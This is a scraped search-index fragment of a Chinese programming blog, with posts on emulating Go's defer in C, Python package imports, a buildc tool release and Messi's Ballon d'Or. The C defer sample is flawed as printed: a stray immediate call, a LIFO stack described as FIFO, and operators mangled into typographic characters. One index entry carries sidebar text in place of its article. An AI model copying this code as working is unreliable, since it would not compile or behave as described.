(*defer_func)();\n没有返回值，没有参数，这样的函数指针能否执行foo这样的函数呢？答案是可以的，但不是那么完美。至少你不会得到返回值。这么做有两点考虑：\na) 至少可以让编译器知道这是一个函数指针，可以被用来执行函数。\nb) 通常我们并不关心defer后面函数的返回值。\nc) 参数列表的不同至少目前可以逃过编译器的错误检查，至多给个Warning。\n函数指针的问题暂时算是有着落了，那参数怎么办？也就是说defer(fclose(fp))中的fp如何存储下来呢？如果在C中真的使用 defer(fclose(p))这种形式的语法，那么我是砸破脑袋也想不出啥招了！因此我们应该重新设计一下C中的defer应该如何使用？我 们用下面的语法来替代：\ndefer(fclose, 1, p);\nfclose是函数起始地址，1是参数个数，p则是传给fclose的参数。这样fclose和p都可以单独分离出来存储了。但是还是那句 话：defer后面可以执行的函数千万种，哪能穷尽？怎么才能表示成一种通用的方式存储参数呢？回想一下自己在编码过程中用于释放资源的那几类函 数，无非就是关闭文件、关闭文件描述符(包括socket)、释放内存等，这些函数传递的参数不是指针就是整型数，少有传浮点类型或将一个自定义 结构体以传值的方式传入的。我们不妨再次尝试一次“偷天换日” – 用void*存储整型参数或任意指针类型参数。当然其约束就像刚才所说的那些。不过对付大多数资源释放函数而言，应该是足够的了。至于将参数个数也作为一 个固定参数放入defer中，也是鉴于目前无法通过操作可变个数参数列表相关宏来获得参数数量。\n最后一个问题。由于被defer的函数的参数个数不定。defer无法将可变个数参数重组后传给被defer的函数。因此目前暂只能通过一种“丑陋”的方式来实现。样例中最多只支持两个参数的被defer函数。\n* 样例\n首先看看我们的examples的主函数文件main.c。\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026ldquo;defer.h\u0026rdquo;\nint bar(int a, char *s) {\nprintf(\u0026ldquo;a = [%d], s = [%s]\\n\u0026rdquo;, a, s);\n}\nint main() {\nFILE *fp = NULL;\nfp = fopen(\u0026ldquo;main.c\u0026rdquo;, \u0026ldquo;r\u0026rdquo;);\nif (!fp) return;\ndefer(fclose, 1, fp);\nint *p = malloc(sizeof(*p));\nif (!p) return;\ndefer(free, 1, p);\ndefer(bar, 2, 13, \u0026ldquo;hello\u0026rdquo;);\nreturn 0;\n}\n从这里我们可以看到defer的用法，但这不是重点，重点是实现。\n有了上面的一些设计思路的阐述，下面的代码也就不难理解了。核心是defer.c。\n/* defer.h */\ntypedef void (*defer_func)();\nstruct zero_params_func_ctx {\ndefer_func df;\n};\nstruct one_params_func_ctx {\ndefer_func df;\nvoid *p1;\n};\nstruct two_params_func_ctx {\ndefer_func df;\nvoid *p1;\nvoid *p2;\n};\nstruct defer_func_ctx {\nint params_count;\nunion {\nstruct zero_params_func_ctx zp;\nstruct one_params_func_ctx op;\nstruct two_params_func_ctx tp;\n} ctx;\n};\nvoid stack_push(struct defer_func_ctx *ctx);\nstruct defer_func_ctx* stack_pop();\nint stack_top();\n/* defer.c */\nstruct defer_func_ctx ctx_stack[10];\nint top_of_stack = 0; /* stack top from 1 to 10 */\nvoid stack_push(struct defer_func_ctx *ctx) {\nif (top_of_stack \u0026gt;= 10) {\nreturn;\n}\nctx_stack[top_of_stack] = *ctx;\ntop_of_stack++;\n}\nstruct defer_func_ctx* stack_pop() {\nif (top_of_stack == 0) {\nreturn NULL;\n}\ntop_of_stack–;\nreturn \u0026amp;ctx_stack[top_of_stack];\n}\nint stack_top() {\nreturn top_of_stack;\n}\nvoid defer(defer_func fp, int arg_count, …) {\nva_list ap;\nva_start(ap, arg_count);\nstruct defer_func_ctx ctx;\nmemset(\u0026amp;ctx, 0, sizeof(ctx));\nctx.params_count = arg_count;\nif (arg_count == 0) {\nctx.ctx.zp.df = fp;\n} else if (arg_count == 1) {\nctx.ctx.op.df = fp;\nctx.ctx.op.p1 = va_arg(ap, void*);\n} else if (arg_count == 2) {\nctx.ctx.tp.df = fp;\nctx.ctx.tp.p1 = va_arg(ap, void*);\nctx.ctx.tp.p2 = va_arg(ap, void*);\nctx.ctx.tp.df(ctx.ctx.tp.p1, ctx.ctx.tp.p2);\n}\nva_end(ap);\nstack_push(\u0026amp;ctx);\n}\n多个defer的FIFO调用顺序用一个固定大小的stack来实现。这里只是为了演示，所以stack实现的简单和固定些。\n组装后的函数在funcexit.c中执行：\nextern struct defer_func_ctx ctx_stack[10];\n__attribute__((no_instrument_function))\nvoid __cyg_profile_func_exit(void *this_fn, void *call_site) {\nstruct defer_func_ctx *ctx = NULL;\nwhile ((ctx = stack_pop()) != NULL) {\nif (ctx-\u0026gt;params_count == 0) {\nctx-\u0026gt;ctx.zp.df();\n} else if (ctx-\u0026gt;params_count == 1) {\nctx-\u0026gt;ctx.op.df(ctx-\u0026gt;ctx.op.p1);\n} else if (ctx-\u0026gt;params_count == 2) {\nctx-\u0026gt;ctx.tp.df(ctx-\u0026gt;ctx.tp.p1, ctx-\u0026gt;ctx.tp.p2);\n}\n}\n}\n最后我们将defer.c、funcexit.c编译成一个.so文件：\ngcc -g -fPIC -shared -o libcdefer.so funcexit.c defer.c\n而编译main.c的方法如下：\ngcc -g main.c -o main -finstrument-functions -I ../lib -L ../lib -lcdefer\n一切OK后，先将libcdefer.so放在main同级目录下，执行main即可。\n$\u0026gt; ./main\na = [13], s = [hello]\n具体代码已经传至这里(trunk/cdefer)，需要的童鞋可自行下载。\n","permalink":"https://tonybai.com/2013/02/03/implement-go-defer-in-c/","summary":"\u003cp\u003e\u003ca href=\"http://golang.org/\"\u003eGo语言\u003c/a\u003e中引入了一个新的关键字defer，个人认为这个语法关键字让异常处理也变得得心应手许多，对改善代码的可读性和可维护性大有裨益，是典型的语法棒棒糖^_^。\u003c/p\u003e\n\u003cp\u003e像下面这种代码（伪代码）：\u003c/p\u003e\n\u003cp\u003evoid foo() {\u003cbr\u003e\n    apply resource1;\u003c/p\u003e\n\u003cp\u003eretv = action1;\u003cbr\u003e\n    if not success\u003cbr\u003e\n        release resource1\u003c/p\u003e\n\u003cp\u003eapply resource2;\u003c/p\u003e\n\u003cp\u003eretv = action2;\u003cbr\u003e\n    if not success\u003cbr\u003e\n        release resource1\u003cbr\u003e\n        release resource2\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003e有了defer后，代码就变得优美多了。\u003c/p\u003e\n\u003cp\u003evoid foo_with_defer() {\u003cbr\u003e\n    apply resource1;\u003cbr\u003e\n    defer (release_resource1)\u003c/p\u003e\n\u003cp\u003eretv = action1;\u003cbr\u003e\n    if not success\u003cbr\u003e\n        return\u003c/p\u003e","title":"Go defer的C实现"},{"content":"2012年有一个目标我没有达成，那就是深入学习和使用Python语言。这个目标被其他学习任务和工作无情的抢占了，当然最主要的原因还是我重视不够^_^。\n近期恰逢有一些Python工程的开发工作要做，就顺便略微深入地学习了一下Python：看了几本Python的英文大部头，比如《Learning Python 4th Edition》、《Python Essential Reference 4th Edition》、《Programming Python 4th Edition》、《Expert Python Programming》以及《The Python standard library by example》，看得我有些要吐了^_^。虽然之前用Python开发过buildc，但自我感觉依旧还是一个Python的绝对beginner，这 次通过这几本书的学习算是对Python有了个较为系统的了解了。\n言归正传，今天要探讨的是一个有关Python Package下的Module import的问题，这是我在进行一个Python工程源码组织设计时遇到的。一般来说，我们的工程代码组织形式如下：\npy-proj/\nmain.py\npkg1/\n__init__.py\nmod1.py\npkg2/\n__init__.py\nmod2.py\ntest/\n__init__.py\ntestmod1.py\ntestmod2.py\n工程的dev需求如下：\n* 执行main.py(其中import了各个pkg的module)\n* 能够单独执行pkg下的某个module\n* 兄弟pkg间可以相互import module\n* 能够单独执行test下的某个module的test用例\n* 能够一次执行test下的所有module的test用例\n基于工程的这些dev需求，我们来看一下module import方式的选择。\nPython自2.5版本之后支持两种package import方式：absolute import和relative import。不过Guido van Rossum在PEP 8中明确建议采用absolute import，理由是：more portable和more readable。经过试验，我个人觉得Guido van Rossum的建议是十分中肯的。relative import在不同版本间的支持语义有差别，且在理解方面显得有些复杂。《Learning Python 4th Edition》中花了将近一个小节来讲Package relative import，感觉复杂难懂。虽然relative import能解决一些问题，但感觉投入产出比不高。我们来看看package absolute import能否满足我们的所有工程dev需求。\n* 执行main.py\n无论当前工作目录（current working directory)是哪个目录，一旦执行main.py，Python就会自动将main.py所在的目录添加到sys.path中去，作为一个 module search path的entry。这样只要工程下的文件都采用了absolute import，Python就可以正确找到并import正确的module。\n* 单独执行某pkg下的某个module\n我们在dev时有这样的需求：单独执行某个正在编写的module的代码以获得一些执行结果的反馈。不过，以上面例子中的代码结构为例，如果我们进入到 pkg1目录下执行python mod1.py，一旦mod1.py引用了pkg2.mod2，你就会收到如下错误（前提是你使用了absolute import）：\n$ python mod1.py\nTraceback (most recent call last):\nFile \u0026ldquo;mod1.py\u0026rdquo;, line 2, in import pkg2.mod2\nImportError: No module named pkg2.mod2\n因为Python只是将pkg1这个路径加入到module search path中了，这个路径下显然没有pkg2/mod2.py。不过我们可以通过在工程top-level路径下执行\u0026quot;python -m pkg1.mod1\u0026quot;来单独执行mod1的代码，这样absolute import依然生效，不会导致import error。\n* 兄弟pkg间可以相互import module\n这个与上面的执行方法类似，只要在top-level下通过python -m执行，那么无论pkg层次多深，无论有多少兄弟package，Python总是可以找到正确的module并导入。\n* 单独执行test下的某个module的test用例\n这有些类似于引用兄弟package的情况。我们通过在顶层路径下执行python -m test.testmod1即可达到此目的。\n* 一次执行test下的所有module的test用例\n较新的Python版本已经可以自动发现测试用例并执行。我们通过在top-level目录执行python -m unittest discover test即可执行test目录下所有符合unittest包约定要求的单元测试用例文件。在执行这个命令时，Python会将top-level路径以及 test路径都加入到module search path中。\n终上，Absolute import可以满足所有需求。虽然有时候absolute import从代码上会看起来有些冗长(通过from … import …能有所缓解)，但在语义理解的简单性和可读性上的优势让我更加倾向于这种方式。另外通常情况下我们是无需重新设置PYTHONPATH，也用不 到.pth文件，更不需在代码里修改sys.path来改变Python的module search path的。\n注：以上测试均在Ubuntu 12.04 LTS Python 2.7.3版本下测试通过。\n","permalink":"https://tonybai.com/2013/01/24/the-module-import-way-under-python-package/","summary":"\u003cp\u003e2012年有一个\u003ca href=\"http://tonybai.com/2012/01/29/plan-and-design-2012/\"\u003e目标\u003c/a\u003e我没有达成，那就是深入学习和使用\u003ca href=\"http://www.python.org/\"\u003ePython\u003c/a\u003e语言。这个目标被其他学习任务和工作无情的抢占了，当然最主要的原因还是我重视不够^_^。\u003c/p\u003e\n\u003cp\u003e近期恰逢有一些Python工程的开发工作要做，就顺便略微深入地学习了一下Python：看了几本Python的英文大部头，比如《\u003ca href=\"http://book.douban.com/subject/4082016/\"\u003eLearning Python 4th Edition\u003c/a\u003e》、《\u003ca href=\"http://book.douban.com/subject/3273420\"\u003ePython Essential Reference 4th Edition\u003c/a\u003e》、《\u003ca href=\"http://book.douban.com/subject/4893005\"\u003eProgramming Python 4th Edition\u003c/a\u003e》、《\u003ca href=\"http://book.douban.com/subject/3285148\"\u003eExpert Python Programming\u003c/a\u003e》以及《\u003ca href=\"http://book.douban.com/subject/6540551\"\u003eThe Python standard library by example\u003c/a\u003e》，看得我有些要吐了^_^。虽然之前用Python开发过\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e，但自我感觉依旧还是一个Python的绝对beginner，这 次通过这几本书的学习算是对Python有了个较为系统的了解了。\u003c/p\u003e","title":"关于Python Package下的Module import方式"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2013/01/17/leomessi-with-four-ballon-dor/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"梅西与四座金球"},{"content":"随着buildc在项目中的深入使用，开发和测试人员都提出了不少良好意见，让我们有些应接不暇了，这次的版本更新也是为了满足这些意见和建议。 由于忙于应对这些眼前的需求，原本0.3.0的改进计划也被推迟了一些。\nbuildc 0.2.2版本包含了两个主要修正。\n* 增加了–ignore-error命令行选项\n自从buildc cache相关命令严格区分–cmode=32-bit还是64-bit后，用户在使用过程中出现了一些新情况。比如某开发人员A负责两个子系统 subsys1和subsys2的开发，这两个子系统分别用到了lib1和lib2。subsys1是一个64bit系统，依赖lib1；而 subsys2是一个32bit系统。依赖lib2。这样开发人员A在自己的开发环境下要管理和缓存lib1和lib2。管理lib1时，用到的 是buildc cache update –cmode=64-bit命令，而管理lib2时，用到的是buildc cache update –cmode=32-bit命令。这时如果内部的二进制库服务器上没有lib1的32bit版本或者没有lib2的64bit版本，buildc cache相关命令就会执行失败。为了临时解决这个问题，我们增加了–ignore-error命令行选项，这样即便lib1无32bit版本 或者lib2无64bit版本，buildc cache相关命令执行不会失败，开发人员A开发环境下的subsys1和subsys2的构建也会顺利完成。\n关于这个问题，后续期待在buildc 0.3.0版本或后续版本得到更好的解决。\n* 增加buildc pack source –component=[src|deps|all]命令\n通常情况下，我们是不需要在生产环境下做任何编译操作的。但有些特殊情况下，我们不得不将源码拿到生产环境下进行编译。之前使用buildc进行 源码构建的工程拿到生产环境下进行编译极为不便，因为生产环境下没有buildc环境，也没有依赖库的cache，因此我们的运维人员提出这样的 需求：提供一份可在生产环境下进行编译的source包。为了满足这一需求，我们针对setup工程进行了完善，对buildc的pack命令做 了扩充，使得buildc pack支持source打包。\nbuildc pack source支持三个component参数：src、deps和all。src意为源码包，包中只包含工程源码；deps是打依赖包，及包中包含的都是 工程依赖的对应平台的第三方库的二进制版本；all则是src和deps的合体，是一个全量的，在目标环境可直接编译的包。\nbuildc pack source输出的目标包内结构大致如下：\ntarget-package/\n– deps/\n– lib1/\n– 1.1.0/\n– x86_64_linux/\n– proj_name\n– configure\n– Make.rules\n– Makefile\n– ….\n前面说过，这个包在目标环境是直接可编译的，你只需执行：\n$\u0026gt;./configure\n$\u0026gt; make\n在制作目标包时，buildc pack source命令就已经将Make.rules中的各种库的依赖信息按照目标包的结构做了调整。执行configure是为了根据目标环境对 Make.rules做最后的调整。\n另外源码包仅携带对应目标平台的第三方库的版本，不会将所有平台的版本都带上。当然这样有利有弊。优点在于源码包的size不会很大；缺点在于， 如果生产环境有许多种平台的话，我们需要为每个平台准备一份源码包。\nBTW，现在的buildc基本上由我们组的小兄弟wtz1989227一个人维护，包括buildc的manual更新，这次的更新也都是他一 个人的工作成果。小声的说一句：wtz1989227接触Python也为时不多，因此代码方面还有较大的改进提高余地。\n","permalink":"https://tonybai.com/2013/01/15/buildc-0-2-2-release/","summary":"\u003cp\u003e随着\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e在项目中的深入使用，开发和测试人员都提出了不少良好意见，让我们有些应接不暇了，这次的版本更新也是为了满足这些意见和建议。 由于忙于应对这些眼前的需求，原本0.3.0的改进计划也被推迟了一些。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://buildc.googlecode.com/files/buildc-0.2.2.tar.gz\"\u003ebuildc 0.2.2\u003c/a\u003e版本包含了两个主要修正。\u003c/p\u003e\n\u003cp\u003e* 增加了–ignore-error命令行选项\u003c/p\u003e","title":"buildc 0.2.2版本发布"},{"content":"在2012年末，FIFA公布了金球奖最终三位候选人：梅西、伊涅斯塔和C罗，各大博彩公司也就此奖项纷纷开出赔率。从赔率来看，梅西似乎肯定会 赢得今年的FIFA金球。在昨天之前，从金球制作方名签的摆放位置或又法国足球杂志最新一期的封面，也都暗示了梅西即将获奖。不过不到最后，我还 真是没底，毕竟梅西与其他两位对手相比缺少年度重量级冠军荣誉。\n今天凌晨，纠结于此事的我睡得十分不踏实。半夜醒来，本以为结果已经出炉，但一看时间，刚好2点半，FIFA年度颁奖礼正在进行。似乎是老天故意 要考验我的心脏，非让我亲自见证梅西的伟大时刻的到来。好吧，那我就等。随着年度最佳教练、最佳进球、最佳阵容、公平竞赛奖、世界足球小姐等奖项 一一揭晓，终于轮到FIFA金球奖了。心里真的有些紧张，我看的是新浪体育的文字直播，时钟已经指向凌晨三点，下面的球迷评论中有人打出“恭喜梅西获奖”的内容，稍后直播中显示梅西获得2012FIFA金球奖，巴萨官方微博也第一时间更新了梅西获奖的情况，心中石头顿然落地，随后一阵狂喜，躺在床上久久难寐。\n这是梅西的第四座金球，从得奖次数上已经超越了法国的两位大神：普拉蒂尼和齐达内，独居金球奖史上第一的宝座，是名副其实的金球之王。\n有人说欧洲金球奖与世界足球先生合并后欠缺点专业性，我倒是觉得合并后的FIFA金球更加公平，这是一个世界级个人奖项，是世界足球的标杆，对足 球在世界范围的推广有着重大的意义，因此FIFA金球是荣誉、成绩、团队、天赋、人品、追求、热爱等的综合体，而不仅仅是像欧足联最佳球员那样过 于强调大赛成绩。还有人说FIFA在造神，将梅西打造为新一代球王，这有什么错么？梅西本身从能力、到天赋再到人品，哪点不配做为足球新神呢？全 世界范围还有谁比梅西更适合的么？从球迷的角度来说，哪个球迷不希望自己心中有一座足球真神去崇拜和敬仰呢？至少我肯定有，他就是梅西，只是我心 目中的真神和现实中的真神一致罢了，我想这就是一种足球信仰吧。对于梅西这样的球员，不得不说上天都是在眷顾的，梅西的成长、获得的机遇都见证了这一切。\n在梅西赢得个人第四座金球后，估计很多球迷或媒体在为梅西设定目标，比如梅西还能赢得多少座金球，梅西能否为阿根廷捧回世界杯等。我们曾经低估了梅西，至少我是这样：当年小法说梅西能拿5到6个金球，我还觉得他言语中可能有些恭维之意。现在我已经不愿再妄加揣测了。从梅西身上我们看到了一点：一切皆有可能，毕竟梅西才25岁半！梅西最终达到的高度，只有当他退役的那天才能最终定论。\n小白伊涅斯塔在今晨FIFA颁奖礼后接受媒体采访时说：“对于梅西明年能赢得第五座金球奖，我丝毫不怀疑”。是啊，这个热爱足球，对荣誉锲而不舍 的大男孩，用着无比的足球天赋、优良的团队意识和持续且疯狂的场上表现向人们证明着：你们的崇拜是值得的。\n","permalink":"https://tonybai.com/2013/01/08/leomessi-the-king-of-ballon-dor/","summary":"\u003cp\u003e在2012年末，\u003ca href=\"http://www.fifa.com/\"\u003eFIFA\u003c/a\u003e公布了金球奖最终三位候选人：\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e、伊涅斯塔和C罗，各大博彩公司也就此奖项纷纷开出赔率。从赔率来看，梅西似乎肯定会 赢得今年的\u003ca href=\"http://en.wikipedia.org/wiki/FIFA_Ballon_d%27Or\"\u003eFIFA金球\u003c/a\u003e。在昨天之前，从金球制作方名签的摆放位置或又法国足球杂志最新一期的封面，也都暗示了梅西即将获奖。不过不到最后，我还 真是没底，毕竟梅西与其他两位对手相比缺少年度重量级冠军荣誉。\u003c/p\u003e\n\u003cp\u003e今天凌晨，纠结于此事的我睡得十分不踏实。半夜醒来，本以为结果已经出炉，但一看时间，刚好2点半，FIFA年度颁奖礼正在进行。似乎是老天故意 要考验我的心脏，非让我亲自见证梅西的伟大时刻的到来。好吧，那我就等。随着年度最佳教练、最佳进球、最佳阵容、公平竞赛奖、世界足球小姐等奖项 